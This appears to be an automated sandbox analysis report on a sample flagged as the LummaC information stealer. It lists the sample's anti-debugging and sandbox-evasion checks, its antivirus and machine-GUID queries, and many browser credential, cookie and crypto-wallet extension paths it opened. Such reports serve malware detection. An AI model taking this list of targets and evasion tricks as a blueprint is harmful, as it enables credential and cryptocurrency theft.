Source: file.exe, 00000004.00000003.1939632254.0000000005C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: -8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000004.00000003.1939632254.0000000005C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\B
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000002.1939955441.0000000000793000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_06610637 rdtsc

4_2_06610637

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: file.exe, file.exe, 00000004.00000002.1939955441.0000000000793000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: 1(qProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000004.00000003.1687583895.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1687621248.0000000005C14000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1704768015.0000000005C15000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1687492752.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1855860059.0000000005C15000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1856337428.0000000005C15000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7672, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000004.00000003.1614564165.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000004.00000003.1614564165.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe, 00000004.00000003.1637781834.0000000001508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx LibertyV
Source: file.exe, 00000004.00000003.1614564165.000000000149C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000004.00000003.1614564165.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000004.00000003.1614564165.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000004.00000003.1614564165.000000000149C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000004.00000003.1614564165.000000000149C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Chrome/Default/Extensions/Morphis WallethereumP
Source: file.exe, 00000004.00000003.1614564165.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000004.00000003.1614564165.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: file.exe, 00000004.00000003.1614564165.000000000149C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
